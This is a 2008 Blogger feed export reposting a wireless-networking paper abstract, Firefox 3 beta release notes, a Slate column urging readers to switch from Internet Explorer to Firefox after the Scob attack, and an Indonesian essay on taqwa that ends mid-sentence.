tag:blogger.com,1999:blog-72104969323940389092024-03-13T13:06:50.108-07:00my first blogThis is My First Blog!!!Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.comBlogger42125tag:blogger.com,1999:blog-7210496932394038909.post-23278489400342624862008-09-08T00:16:00.000-07:002008-09-08T00:17:38.626-07:00Using Peer-to-Peer Data Routing for Infrastructure-based Wireless Networks<b>Authors:</b> <a class="list_a" href="http://ebiquity.umbc.edu/person/html/Sethuram/Balaji/Kodeswaran/">Sethuram Balaji Kodeswaran</a>, <a class="list_a" href="http://ebiquity.umbc.edu/person/html/Olga/Vladi/Ratsimor/">Olga Vladi Ratsimor</a>, <a class="list_a" href="http://ebiquity.umbc.edu/person/html/Anupam/Joshi/">Anupam Joshi</a>, <a class="list_a" href="http://ebiquity.umbc.edu/person/html/Tim/Finin/">Tim Finin</a>, and <a class="list_a" href="http://ebiquity.umbc.edu/person/html/Yelena/Yesha/">Yelena Yesha</a><p><b>Book Title:</b> First IEEE International Conference on Pervasive Computing and Communications </p><p><b>Date:</b> March 18, 2003</p><p><b>Abstract:</b> A mobile ad-hoc network is an autonomous system of mobile routers that are self-organizing and completely decentralized with no requirements for dedicated infrastructure support. Wireless Infrastructure in terms of base stations is often available in many popular areas offering high-speed data connectivity to a wired network. In this paper, we describe an approach where infrastructure components utilize passing by mobile nodes to route data to other devices that are out of range. In our scheme, base stations track user mobility and determine data usage patterns of users as they pass by. Based on this, base stations predict the future data needs for a passing mobile device. These base stations then collaborate (over the wired network) to identify other mobile devices with spare capacity whose routes intersect that of a needy device and use these carriers to transport the needed data. When such a carrier meets a needy device, they form ad hoc peer-to-peer communities to transfer this data. In this paper, we describe the motivation behind our approach and the different component interactions. We present the results of simulation work that we have done to validate the viability of our approach. We also describe, Numi, our framework for supporting collaborative infrastructure and ad hoc computing along with a sample application built on top of this highlighting the benefits of our proposed approach.</p><p><b></b><br /></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-23678454141084081342008-09-08T00:14:00.000-07:002008-09-08T00:15:40.253-07:00What's New in Firefox 3Firefox 3 Beta 2 is a developer preview release of Mozilla's next generation Firefox browser and is being made available for <b>testing purposes only</b>. <p>These beta releases are targeted to Web developers and our testing community to gain feedback before advancing to the next stage in the release process. The final version of Firefox 3 will be released when we qualify the product as fully ready for our users. Users of the <a href="http://www.getfirefox.com/">latest released version of Firefox</a> should not expect their add-ons to work properly with this beta.</p> <p>Much of the work leading up to this beta has been around developing the infrastructure to support a bunch of exciting new features. With this second beta, you'll get a taste of what's coming in Firefox 3, but there's still more to come, and much of what you'll see is still a bit rough around the edges.</p> <p>Please see below for an extensive list of <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#whatsnew">features and enhancements</a> found in Firefox 3 Beta 2, as well as <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#issues">known issues</a> and <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#FAQ">frequently asked questions</a>.</p> <p>As always, we appreciate your feedback either through this <a href="http://feedback.mozilla.org/">feedback form</a> or by filing a bug in <a href="https://bugzilla.mozilla.org/">Bugzilla</a>.</p> <h2 id="whatsnew">What's New in Firefox 3</h2> <p>Firefox 3 is based on the new Gecko 1.9 Web rendering platform, which has been under development for the past 28 months and includes nearly 2 million lines of code changes, fixing more than 11,000 issues. Gecko 1.9 includes some major re-architecting for <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#performance">performance</a>, stability, correctness, and code simplification and sustainability. Firefox 3 has been built on top of this new platform resulting in a <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#secure">more secure</a>, <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#easy">easier to use</a>, <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#personal">more personal</a> product with a lot <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#engine">under the hood</a> to offer website and Firefox add-on developers.</p> <p><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Firefox 3 Beta 2 includes approximately 900 improvements over the previous beta, including fixes for stability, performance, memory usage, platform enhancements and user interface improvements. Many of these improvements were based on community feedback from the previous beta.</p> <dl><dt id="secure">More Secure</dt><dd> <ul class="spaced"><li>One-click site info: Click the site favicon in the location bar to see who owns the site. Identity verification is prominently displayed and easier to understand. In later versions, Extended Validation SSL certificate information will be displayed.</li><li>Malware Protection: malware protection warns users when they arrive at sites which are known to install viruses, spyware, trojans or other malware. You can <a href="http://www.mozilla.com/firefox/its-an-attack.html">test it here</a> (note: our blacklist of malware sites is not yet activated).</li><li>New Web Forgery Protection page: the content of pages suspected as web forgeries is no longer shown. You can <a href="http://www.mozilla.com/firefox/its-a-trap.html">test it here</a>.</li><li>New SSL error pages: clearer and stricter error pages are used when Firefox encounters an <a href="https://amazon.com/">invalid SSL certificate</a>.</li><li>Add-ons and Plugin version check: Firefox now automatically checks add-on and plugin versions and will disable older, insecure versions.</li><li>Secure add-on updates: to improve add-on update security, add-ons that provide updates in an insecure manner will be disabled.</li><li>Anti-virus integration: Firefox will inform anti-virus software when downloading executables.</li><li>Vista Parental Controls: Firefox now respects the Vista system-wide parental control setting for disabling file downloads.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Effective top-level domain (eTLD) service better restricts cookies and other restricted content to a single domain.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Better protection against <a href="http://ejohn.org/blog/re-securing-json/"> cross-site JSON data leaks</a>.</li></ul> </dd><dt id="easy">Easier to Use</dt><dd> <ul class="spaced"><li>Easier password management: an information bar replaces the old password dialog so you can now save passwords after a successful login.</li><li>Simplified add-on installation: the add-ons whitelist has been removed making it possible to install extensions from third-party sites in fewer clicks.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> New Download Manager: the revised download manager makes it much easier to locate downloaded files, and displays where a file came from.</li><li>Resumable downloading: users can now resume downloads after restarting the browser or resetting your network connection.</li><li>Full page zoom: from the View menu and via keyboard shortcuts, the new zooming feature lets you zoom in and out of entire pages, scaling the layout, text and images.</li><li>Tab scrolling and quickmenu: tabs are easier to locate with the new tab scrolling and tab quickmenu.</li><li>Save what you were doing: Firefox will prompt users to save tabs on exit.</li><li>Optimized Open in Tabs behavior: opening a folder of bookmarks in tabs now appends the new tabs rather than overwriting.</li><li>Location and Search bar size can now be customized with a simple resizer item.</li><li>Text selection improvements: multiple text selections can be made with Ctrl/Cmd; double-click drag selects in "word-by-word" mode; triple-clicking selects a paragraph.</li><li>Find toolbar: the Find toolbar now opens with the current selection.</li><li>Plugin management: users can disable individual plugins in the Add-on Manager.</li><li>Integration with Vista: Firefox's menus now display using Vista's native theme.</li><li>Integration with the Mac: Firefox now uses the OS X spellchecker and supports Growl for notifications of completed downloads and available updates.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Integration with Linux: Firefox's default icons, buttons, and menu styles now use the native GTK theme.</li></ul> </dd><dt id="personal">More Personal</dt><dd> <ul class="spaced"><li>Star button: quickly add bookmarks from the location bar with a single click; a second click lets you file and tag them.</li><li>Tags: associate keywords with your bookmarks to sort them by topic.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Location bar & auto-complete: type in all or part of the title, tag or address of a page to see a list of matches from your history and bookmarks; a new display makes it easier to scan through the matching results and find that page you're looking for.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Smart Bookmarks Folder: quickly access your recently bookmarked and tagged pages, as well as your more frequently visited pages with the new smart bookmarks folder on your bookmark toolbar.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Places Organizer: view, organize and search through all of your bookmarks, tags, and browsing history with multiple views and smart folders to store your frequent searches.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Web-based protocol handlers: web applications, such as your favorite webmail provider, can now be used instead of desktop applications for handling mailto: links from other sites. Similar support is available for other protocols (Web applications will have to first enable this by registering as handlers with Firefox).</li><li>Easy to use Download Actions: a new Applications preferences pane provides a better UI for configuring handlers for various file types and protocol schemes.</li></ul> </dd><dt id="engine">Improved Platform for Developers</dt><dd> <ul class="spaced"><li>New graphics and font handling: new graphics and text rendering architectures in Gecko 1.9 provides rendering improvements in CSS, SVG as well as improved display of fonts with ligatures and complex scripts.</li><li>Native Web page forms: HTML forms on Web pages now have a native look and feel on Mac OS X and Linux (Gnome) desktops.</li><li>Color management: (set gfx.color_management.enabled on in about:config and restart the browser to enable.) Firefox can now adjust images with embedded color profiles.</li><li>Offline support: enables web applications to provide offline functionality (website authors must add support for offline browsing to their site for this feature to be available to users).</li><li>A more complete overview of <a href="http://developer.mozilla.org/en/docs/Firefox_3_for_developers">Firefox 3 for developers</a> is available for website and add-on developers.</li></ul> </dd><dt id="performance">Improved Performance</dt><dd> <ul class="spaced"><li>Reliability: A user's bookmarks, history, cookies, and preferences are now stored in a transactionally secure database format which will prevent data loss even if their system crashes.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Speed: Major architectural changes (such as the move to Cairo and a rewrite to how reflowing a page layout works) put foundations in place for major performance tuning which have resulted in speed increases in Beta 2, and will show further gains in future Beta releases.</li><li><span style="font-size: 80%; font-weight: bold;">[Improved in Beta 2!]</span> Memory usage: Over 300 individual memory leaks have been plugged, and a new <a href="http://developer.mozilla.org/en/docs/Interfacing_with_the_XPCOM_cycle_collector">XPCOM cycle collector</a> completely eliminates many more. Developers are continuing to work on optimizing memory use (by releasing cached objects more quickly) and reducing fragmentation. Beta 2 includes over 30 more memory leak fixes, and 11 improvements to our memory footprint.</li></ul></dd></dl>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-15501490385468494322008-09-08T00:12:00.000-07:002008-09-08T00:14:10.020-07:00Firefox 3 Beta Release NotesFirefox 3 Beta 2 is a developer preview release of Mozilla's next generation Firefox browser and is being made available for <b>testing purposes only</b>. <p>These beta releases are targeted to Web developers and our testing community to gain feedback before advancing to the next stage in the release process. The final version of Firefox 3 will be released when we qualify the product as fully ready for our users. Users of the <a href="http://www.getfirefox.com/">latest released version of Firefox</a> should not expect their add-ons to work properly with this beta.</p> <p>Much of the work leading up to this beta has been around developing the infrastructure to support a bunch of exciting new features. With this second beta, you'll get a taste of what's coming in Firefox 3, but there's still more to come, and much of what you'll see is still a bit rough around the edges.</p> <p>Please see below for an extensive list of <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#whatsnew">features and enhancements</a> found in Firefox 3 Beta 2, as well as <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#issues">known issues</a> and <a href="http://www.mozilla.com/en-US/firefox/3.0b2/releasenotes/#FAQ">frequently asked questions</a>.</p> <p>As always, we appreciate your feedback either through this <a href="http://feedback.mozilla.org/">feedback form</a> or by filing a bug in <a href="https://bugzilla.mozilla.org/">Bugzilla</a>.</p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-36739800597923979752008-09-08T00:09:00.000-07:002008-09-08T00:11:18.954-07:00Are the Browser Wars Back?How Mozilla's Firefox trumps Internet Explorer.<p>I usually don't worry about PC viruses, but last week's Scob attack snapped me awake. The clever multi-stage assault, carried out by alleged Russian spam crime lords, infiltrated corporate Web servers and then used them to infect home computers. The software that Scob (also known as <a href="http://www.microsoft.com/security/incident/download_ject.mspx" target="_blank">Download.ject</a>) attempted to install on its victims' machines included a keystroke logger. </p><p>In less than a day, Internet administrators sterilized the infection by shutting down the Russian server that hosted the spyware. But not before a barrage of scary reports had circled the world. "Users are being told to avoid using Internet Explorer until Microsoft patches a serious security hole," the BBC warned. (Disclosure: Microsoft owns <strong><em>Slate</em></strong>.) CNET reporter Robert Lemos zeroed in on why the attack was so scary. "This time," he wrote, "the flaws affect every user of Internet Explorer." That's about 95 percent of all Net users. No matter how well they had protected themselves against viruses, spyware, and everything else in the past, they were still vulnerable to yet another flaw in Microsoft's browser.</p><p>Scob didn't get me, but it was enough to make me ditch Explorer in favor of the much less vulnerable Firefox browser. Firefox is built and distributed free by the <a href="http://mozilla.org/" target="_blank">Mozilla Organization</a>, a small nonprofit corporation spun off last year from the fast-fading remnants of Netscape, which was absorbed by AOL in 1999. Firefox development and testing are mostly done by about a dozen Mozilla employees, plus a few dozen others at companies like IBM, Sun, and Red Hat. I've been using it for a week now, and I've all but forgotten about Explorer.</p><div id="insider_ad_wrapper"><hr /><div id="insider_ad"><!--AD BEGIN--><script language="javascript" type="text/javascript">placeAd2(commercialNode,'midarticleflex',false,'')</script><script language="JavaScript1.1" src="http://ad.doubleclick.net/adj/slate.business/webhead/midarticleflex;dir=business;dir=webhead;dir=midarticleflex;ad=fb;ad=bb;sz=446x33,300x250;del=js;ajax=n;tile=3;dcopt=ist;ad=pop;heavy=n;pageId=slate-id-2103152;poe=yes;fromrss=n;rss=n;front=n;msn_refer=n;dept=58350;articleId=2103152;pos=midarticleflex;ord=218630457121817950?"></script><!-- Template Id = 1 Template Name = Banner Creative (Flash) --> <!-- Copyright 2002 DoubleClick Inc., All rights reserved. --><script src="http://m1.2mdn.net/879366/flashwrite_1_2.js"></script> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="FLASH_AD" width="300" height="250"><param name="movie" value="http://m1.2mdn.net/1039640/23292_TravelGuard_TravelInsureit_banners_v2_300x250.swf?clickTag=http%3A//ad.doubleclick.net/click%253Bh%3Dv8/3735/3/0/%252a/m%253B206542652%253B0-0%253B0%253B28789721%253B4307-300/250%253B27690037/27707916/1%253B%253B%257Eokv%253D%253Bdir%253Dbusiness%253Bdir%253Dwebhead%253Bdir%253Dmidarticleflex%253Bad%253Dfb%253Bad%253Dbb%253Bsz%253D446x33%252C300x250%253Bdel%253Djs%253Bajax%253Dn%253Btile%253D3%253Bdcopt%253Dist%253B%257Eaopt%253D0/ff/900ff/ff%253B%257Efdr%253D206383617%253B0-0%253B0%253B24505584%253B4307-300/250%253B27695610/27713489/1%253B%253B%257Eokv%253D%253Bdir%253Dbusiness%253Bdir%253Dwebhead%253Bdir%253Dmidarticleflex%253Bad%253Dfb%253Bad%253Dbb%253Bsz%253D446x33%252C300x250%253Bdel%253Djs%253Bajax%253Dn%253Btile%253D3%253Bdcopt%253Dist%253B%257Eaopt%253D2/1/900ff/1%253B%257Esscs%253D%253fhttp%3A//buy.travelguard.com/tgi2/pct/default.aspx%3Fbr%3Daigtravelinsurance%26pc%3DPCTDSTRAVELINSUREIT"><param name="quality" value="high"><param name="bgcolor" value="#"><param name="wmode" value="opaque"><param name="AllowScriptAccess" value="never"><embed src="http://m1.2mdn.net/1039640/23292_TravelGuard_TravelInsureit_banners_v2_300x250.swf?clickTag=http%3A//ad.doubleclick.net/click%253Bh%3Dv8/3735/3/0/%252a/m%253B206542652%253B0-0%253B0%253B28789721%253B4307-300/250%253B27690037/27707916/1%253B%253B%257Eokv%253D%253Bdir%253Dbusiness%253Bdir%253Dwebhead%253Bdir%253Dmidarticleflex%253Bad%253Dfb%253Bad%253Dbb%253Bsz%253D446x33%252C300x250%253Bdel%253Djs%253Bajax%253Dn%253Btile%253D3%253Bdcopt%253Dist%253B%257Eaopt%253D0/ff/900ff/ff%253B%257Efdr%253D206383617%253B0-0%253B0%253B24505584%253B4307-300/250%253B27695610/27713489/1%253B%253B%257Eokv%253D%253Bdir%253Dbusiness%253Bdir%253Dwebhead%253Bdir%253Dmidarticleflex%253Bad%253Dfb%253Bad%253Dbb%253Bsz%253D446x33%252C300x250%253Bdel%253Djs%253Bajax%253Dn%253Btile%253D3%253Bdcopt%253Dist%253B%257Eaopt%253D2/1/900ff/1%253B%257Esscs%253D%253fhttp%3A//buy.travelguard.com/tgi2/pct/default.aspx%3Fbr%3Daigtravelinsurance%26pc%3DPCTDSTRAVELINSUREIT" quality="high" wmode="opaque" swliveconnect="TRUE" bgcolor="#" type="application/x-shockwave-flash" allowscriptaccess="never" width="300" height="250"></embed></object><noscript><a target="_news" href="http://ad.doubleclick.net/click%3Bh=v8/3735/3/0/%2a/m%3B206542652%3B0-0%3B0%3B28789721%3B4307-300/250%3B27690037/27707916/1%3B%3B%7Eokv%3D%3Bdir%3Dbusiness%3Bdir%3Dwebhead%3Bdir%3Dmidarticleflex%3Bad%3Dfb%3Bad%3Dbb%3Bsz%3D446x33%2C300x250%3Bdel%3Djs%3Bajax%3Dn%3Btile%3D3%3Bdcopt%3Dist%3B%7Eaopt%3D0/ff/900ff/ff%3B%7Efdr%3D206383617%3B0-0%3B0%3B24505584%3B4307-300/250%3B27695610/27713489/1%3B%3B%7Eokv%3D%3Bdir%3Dbusiness%3Bdir%3Dwebhead%3Bdir%3Dmidarticleflex%3Bad%3Dfb%3Bad%3Dbb%3Bsz%3D446x33%2C300x250%3Bdel%3Djs%3Bajax%3Dn%3Btile%3D3%3Bdcopt%3Dist%3B%7Eaopt%3D2/1/900ff/1%3B%7Esscs%3D%3fhttp://buy.travelguard.com/tgi2/pct/default.aspx?br=aigtravelinsurance&pc=PCTDSTRAVELINSUREIT"><img src="http://m1.2mdn.net/1039640/TravelGuard_TravelInsureit_banners_v2_300x250_backup.gif" alt="" border="0" /></a></noscript><!--AD END--></div><hr /></div><p>You've probably been told to dump Internet Explorer for a Mozilla browser before, by the same propeller-head geek who wants you to delete Windows from your hard drive and install Linux. You've ignored him, and good for you. Microsoft wiped out Netscape in the Browser Wars of the late 1990s not only because the company's management pushed the bounds of business ethics, but also because its engineers built a <a href="http://hotwired.lycos.com/webmonkey/html/97/13/index2a.html?tw=authoring" target="_blank">better browser</a>. When Netscape CEO Jim Barksdale approved the Mozilla project—an open-source browser based on Netscape's code—in 1998, it seemed like a futile act of desperation. </p><p>But six years later, the surviving members of the Mozilla insurgency are staging a comeback. The latest version of Firefox, released this Monday, has a more professional look, online help, and a tool that automatically imports your bookmarks, history, site passwords, and other settings from Explorer. Meanwhile, all-conquering Internet Explorer has been stuck in the mud for the past year, as Microsoft stopped delivering new versions. The company now rolls out only an occasional fix as part of its Windows updates. Gates and company won the browser war, so why keep fighting it? </p><p>The problem is that hackers continue to find and exploit security holes in Explorer. Many of them take advantage of Explorer's ActiveX system, which lets Web sites download and install software onto visitors' computers, sometimes without users' knowledge. ActiveX was meant to make it easy to add the latest interactive multimedia and other features to sites, but instead it's become a tool for sneaking spyware onto unsuspecting PCs. That's why the U.S. Computer Emergency Readiness Team, a partnership between the tech industry and Homeland Security, recently took the unusual step of advising people to consider switching browsers. Whether or not you do, US-CERT advises increasing your Internet Explorer security settings, per Microsoft's <a href="http://asia.cnet.com/newstech/security/0,39001150,39185013,00.htm" target="_blank">instructions</a>. (Alas, the higher setting disables parts of <strong><em>Slate</em></strong>'s interface.) Even if you stop using Explorer, other programs on your computer may still automatically launch it to connect to sites. </p><p>Firefox eschews ActiveX and other well-known infection paths. You can configure it to automatically download most files when you click on them, but not .exe files, which are runnable programs. I thought this was a bug before I realized Firefox was saving me from myself, since .exe files could be viruses or stealth installers.</p><p>For actual Web surfing, Firefox's interface is familiar enough to Explorer users. There's hardly anything to say about it, which is a compliment. Some interactive features designed exclusively for Internet Explorer won't appear, such as the pop-up menus on <strong><em>Slate</em></strong>'s table of contents. A few sites don't display properly, but they're pretty rare. More common are those that stupidly turn non-Explorer browsers away by claiming they're "unsupported." Trusty, useful ActiveX-powered sites such as <a href="http://windowsupdate.microsoft.com/" target="_blank">Windows Update</a> don't load at all, but that's the idea. You can always launch Internet Explorer for those when you need to.</p><p>Firefox also adds a productivity feature that Explorer has never gotten around to: tabbed browsing. You can open several Web pages in the same window and flip through them as tabs, similar to those used in some of Windows' dialog boxes. It's tough to understand why tabbed browsing is such an improvement until you've tried it.<strong> </strong>But if you're in the habit of opening a barrage of news and blog links every morning and then reading them afterward, or clicking on several Google results from the same search, tabbed browsing is an order of magnitude more efficient and organized than popping up a whole new window for each link.</p><p>That said, be aware that getting started with Firefox isn't a one-click operation. After installing the browser, you'll need to reinstall <a href="http://plugindoc.mozdev.org/faqs/firefox-windows.html" target="_blank">plug-ins</a> for some programs, as well as Sun's Java engine for any Java-powered pages. Let me save you an hour of head-scratching here: Save Sun's Java installation <a href="http://java.sun.com/update/1.4.2/j2re-1_4_2_04-windows-i586.xpi" target="_blank">file</a> to your desktop, then go back to Firefox's menus and select File -> Open File to install the downloaded .xpi file into the browser. That'll work where other methods fail without explanation.</p><p>Once you're set up, it still takes a day or two to get used to the interface and feature differences between Explorer and Firefox, as well as the fact that your favorite sites may look a little different. That's why I left it out of <strong><em>Slate</em></strong>'s 20-minute <a href="http://www.slate.com/id/2102230/">anti-virus plan</a>. But if you've got time to make the switch, the peace of mind is worth it. Mozilla also makes a free e-mail program called Thunderbird and a calendar tool called Sunbird, if you want to avoid using Outlook and Outlook Express, two other virus carriers. They're nowhere near as feature-packed as Outlook, but the e-mail client includes a spam filter that works pretty well after you train it on four or five thousand messages—in my case, one week's mail.</p><p>Will Firefox make your computer hackproof? Even Mozilla's spokespeople stress that no software can be guaranteed to be safe, and that Firefox's XPInstall system could conceivably be tricked into installing a keystroke logger instead of Sun's Java engine. But for now, there's safety in numbers—the lack of them, that is. Internet Explorer is used by 95 percent of the world. Firefox's fan base adds up to 2 or 3 percent at most. Which browser do you think the Russian hackers are busily trying to break into again?</p><p><span class="byline">By Paul Boutin</span></p><p><br /></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-76663597155763860402008-08-15T05:15:00.001-07:002008-08-15T05:15:44.114-07:00ARTI TAKWA ADALAH CINTA<span style="font-family:Georgia;font-size:100%;"><b>Prof. Dr. H. Nasaruddin Umar, M.A.</b></span> <div> <br /><br /><span style="font-family:Georgia;font-size:100%;"> </span> <br /><span style="font-family:Georgia;font-size:100%;">Musibah ada di mana-mana dan bisa terjadi kapan saja. Yang penting bagi kita ialah bagaimana menyikapi musibah itu seandainya ia datang menimpa kita atau anggota keluarga kita. Misalnya hujan. Curah hujan yang melebihi batas normal kadang-kadang tidak lagi berfungsi sebagai rahmat, tetapi bisa menjadi suatu laknat, apalagi jika mendatangkan banjir. Dengan demikian, ini bisa disebut dengan musibah kecil. Seperti kita tahu, musibah atau kesulitan-kesulitan hidup itu sisi lain dari kehendak Tuhan untuk menyapa hamba-Nya. Seolah-olah Allah merindukan hamba-Nya, sehingga Dia merindukan mereka dalam bentuk musibah. Musibah adalah sebentuk surat cinta Tuhan kepada kekasih-Nya. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Kenapa musibah disebut surat cinta? Karena mungkin pada suatu saat, seseorang itu tidak sanggup untuk mendekati Tuhan, terlena dengan kemewahan duniawi yang ada pada dirinya, sehingga tertutup pintu batinnya, tidak lagi sensitif dan tidak lagi ada kerinduan terhadap Tuhannya. Seringkali kerinduan terhadap Tuhan itu muncul manakala dipancing oleh hadirnya musibah. Seringkali tanpa musibah, seseorang lupa terhadap Allah Swt. Pengalaman-pengalaman yang mengecewakan, seperti adanya gangguan-gangguan yang menghambat normalitas kehidupan kita, harus dimaknai bahwa ini adalah cara Tuhan untuk mengingatkan kita. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Allah berfirman: <i>Hai orang-orang yang beriman, bertakwalah kepada Allah sebenar-benar takwa kepada-Nya; dan janganlah sekali-kali kamu mati melainkan dalam keadaan beragama Islam. (QS. Ali Imrân [3]: 102)</i></span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Ayat ini merupakan panggilan khusus untuk orang yang beriman. Mereka diminta untuk bertakwa dengan sebenar-benarnya takwa, dengan puncak takwa. Meskipun di dalam ayat lain dikatakan, <i>"Bertakwalah kepada Allah sebatas kemampuanmu." (QS. At-Taghabûn [64]: 16)</i>. Allah Maha adil. Kalau seandainya standar ketakwaan itu memakai standar ketakwaan Rasulullah, atau para aulia, kita sebagai orang awam tentu sulit untuk mencapainya. Tetapi Allah Mahatahu bahwa tidak semua hamba-Nya sama pengalaman batinnya dan tingkat makrifahnya. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Apa perbedaan ayat pertama dan ayat kedua? </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Ayat pertama meminta kita untuk bersikap maksimal mewujudkan ketakwaan itu di dalam diri kita. Tetapi kalau kita sudah berusaha, dan ternyata masih jauh dari standar ketakwaan itu, jangan khawatir karena ada firman Allah yang lain, "Bertakwalah sebatas kemampuanmu." Jangan berkecil hati kalau ketakwaan kita tidak bisa menyamai Rasulullah dan para wali. Yang penting kita sudah berusaha sekuat kemampuan kita, kemudian terimalah apa adanya diri kita. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Apa yang dimaksud dengan takwa?</span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Banyak orang mengartikan takwa sebagai takut terhadap Allah. Sebetulnya terjemahan ini tidak sepenuhnya tepat. Memang salah satu pengertian takwa adalah takut, tapi itu hanya kira-kira 30% benarnya. Takut hanya salah satu komponen dari takwa, tetapi komponen terbesarnya bukan takut. Komponen yang sangat penting dari takwa adalah cinta kepada Allah. Di kalangan sufi, takwa itu diartikan dengan cinta terhadap Allah. Di kalangan fukaha, takwa itu adalah takut terhadap Allah. Kombinasi antara takwa dan takut, itulah pengertian takwa yang ideal bagi kita. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Sesungguhnya Allah Swt. bukanlah sosok yang sangat mengerikan sehingga kita harus takut terhadap-Nya. Melainkan Allah Swt. adalah sosok yang Mahaindah untuk dicintai, sosok yang Maha Pengasih, sosok yang Mahalembut. Dengan demikian, takwa itu di satu sisi kita takut dan segan kepada Allah, di sisi lain, kita mencintai-Nya. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Miniatur sikap kita terhadap Allah itu persis sikap kita terhadap kedua orang tua kita. Di satu sisi kita segan dan takut terhadap orang tua, pada sisi lain kita juga butuh dan cinta terhadap mereka. Sekalipun kita dimarahi, sekalipun kita dipukul, tetap orang yang paling kita cintai adalah kedua orang tua kita. Sekalipun Tuhan menurunkan musibah, sekalipun Tuhan sering menguji kita, tetapi yang kita cintai hanya Allah Swt. Inilah pengertian kongkret yang bisa kita ukur dari pengertian takwa. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Bertakwalah kepada Allah Swt., artinya takutilah dan cintailah Allah Swt. Kadang-kadang Allah tampil sebagai sosok yang Mahabesar untuk ditakuti, terutama bagi para pendosa. Bagi orang yang baru saja melakukan dosa, di situ Tuhan akan tampil sebagai Yang Maha adil, Yang Maha Penghukum, bahkan Yang Maha Penyiksa, sehingga orang yang berdosa menjadi ciut nyalinya dan tidak berani lagi melakukan dosa. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Tapi Allah Swt. akan tampil sebagai sosok yang Maha Mencinta di hadapan orang yang melakukan ibadah. Orang yang melakukan ibadah dan kebaikan-kebaikan dengan ikhlas, tidak usah takut terhadap Allah. Baginya, yang paling tepat adalah mencintai Allah. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Siapapun orang yang beriman, yang berdosa pasti akan merasa takut kepada Allah. Dan siapapun orang yang beriman, yang telah beribadah dengan sungguh-sungguh dan ikhlas, pasti ada muncul rasa cinta di dalam dirinya kepada Allah dan harapan yang besar untuk mendapatkan cinta-Nya. Dengan demikian, pola relasi manusia dan Tuhan adalah pola relasi takut dan cinta. Inilah Islam. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Agama-agama lain tunggal pola relasinya, dan umumnya mengandalkan pola relasi takut kepada Tuhannya atau dewa-dewanya. Itulah sebabnya dalam agama lain diperlukan mediasi antara manusia dan Tuhannya atau dewanya. Bahkan ada yang menggambarkan dewanya dengan gambaran yang mengerikan. Kalau perlu dibuatkan patungnya dengan sosok yang besar, wajah yang angker, taringnya mencuat, bahkan membawa alat pemukul (gada). Supaya apa? Itu sebagai mediasi agar jiwa si penyembah takut kepada yang disembahnya. Semakin takut, semakin tinggi kedekatannya dengan Tuhan. Semakin takut, semakin hebat ibadahnya. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Dalam Islam tidak mesti seperti itu. Allah Swt. bukan sosok yang Maha Mengerikan untuk ditakuti, tapi lebih menonjol sebagai Tuhan Maha Penyayang untuk dicintai. Kalau pola relasi kita itu takut, kita akan menggambarkan Tuhan itu transenden, jauh sekali. Tapi kalau pola relasi cinta yang kita bangun, seolah-olah Tuhan itu amat dekat dengan diri kita. Firman Allah dalam Alquran: <i>"Sesungguhnya Aku lebih dekat kepadanya daripada urat lehernya sendiri." (QS. Qâf [50]: 16)</i></span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Di kalangan sufi sering muncul pertanyaan, apakah Tuhan berada dalam diriku ataukah aku berada dalam diri Tuhan? Begitu dekatnya Tuhan dengan hamba, dan kedekatan ini polanya adalah relasi cinta. Hemat saya, inilah pola yang paling tepat bagi kita untuk mendekati Tuhan, yaitu pola relasi cinta. Pola relasi takut, bawaannya adalah formalitas, kering, dan kaku, serta sangat dipengaruhi oleh mood. Tapi pola relasi cinta lebih permanen sifatnya, segar, damai, dan menjanjikan harapan yang indah. </span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Maka berusahalah untuk lebih mencintai Tuhan, cinta dan cinta kepada Tuhan. Itulah takwa. Sehingga kalau berdoa pun, doanya seperti kaum sufi, <i>"Ya Allah, aku menyembah Engkau bukan karena mengharap surga-Mu, dan aku meninggalkan maksiat bukan karena takut neraka-Mu. Masukkan aku 